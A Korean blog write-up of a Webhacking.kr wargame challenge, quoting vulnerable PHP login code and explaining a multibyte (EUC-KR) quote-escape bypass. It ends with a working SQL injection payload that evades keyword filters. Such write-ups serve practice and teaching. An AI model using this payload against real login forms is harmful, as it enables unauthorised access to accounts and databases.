Challenge 45

Posted by Hide­
2014.06.12 19:32 Wargame/Webhacking.kr

ID 와 PW를 입력하여 로그인하는 간단한 폼이 존재한다.

소스를 확인해보자.

 

<?

$pw
="?????"
;

if(
$_GET[id] && $_GET[pw
])
{

$_GET[id]=mb_convert_encoding($_GET[id],'utf-8','euc-kr'
);

$data=@mysql_fetch_array(mysql_query("select id from members where id='$_GET[id]' and pw=md5('$_GET[pw]')"
));

if(
eregi("admin",$_GET[id
])) exit();
if(
eregi("from",$_GET[id
])) exit();
if(
eregi("union",$_GET[id
])) exit();
if(
eregi("limit",$_GET[id
])) exit();
if(
eregi("union",$_GET[pw
])) exit();
if(
eregi("pw",$_GET[pw
])) exit();
if(
eregi("=",$_GET[pw
])) exit();
if(
eregi(">",$_GET[pw
])) exit();
if(
eregi("<",$_GET[pw
])) exit();


if(
$data
)
{
echo(
"hi $data[0]<br><br>"
);

if(
$data[0]=="admin") @solve
();
}



중간부분쯤에 $_GET[id]=mb_convert_encoding($_GET[id],'utf-8','euc-kr'); 

라는 부분이 존재한다. 멀티바이트 취약점 문제이다.

해당 함수에는 취약점이 존재한다.

싱글쿼터(%27) 앞에 %aa 와 같은 값을 넣어주게 되면 magic_quotes_gpc 의 영향을 받지 않고

싱글쿼터를 사용할 수 있다.  (멀티바이트의 범위 : %a1 ~ %fe)

위의 소스상에서는 admin 이라는 문자열도 필터링을 하고 있으므로

concat+char 을 이용하여 우회한다.

 

최종 페이로드 : id=guest%aa%27 or id in(concat(char(97),char(100),char(109),char(105),char(110)))%23

 

많은 워게임들이 해당 취약점을 대상으로한 문제들을 출제하고 있어서 쉽게 풀 수 있었다.

 

PS. 풀당시에 =도 필터링하는것으로 보고 in을 이용하여 우회했었는데 pw 부분에서만 필터링하고 있었다..



다른 사람들이 많이 읽은 글

'Wargame > Webhacking.kr' 카테고리의 다른 글

Challenge 13  (0) 2014.06.15
Challenge 57  (0) 2014.06.12
Challenge 45  (0) 2014.06.12
Challenge 51  (0) 2014.06.10
Challenge 55  (0) 2014.06.08
Webhacking.kr 7번  (0) 2014.04.13
이 댓글을 비밀 댓글로

티스토리 툴바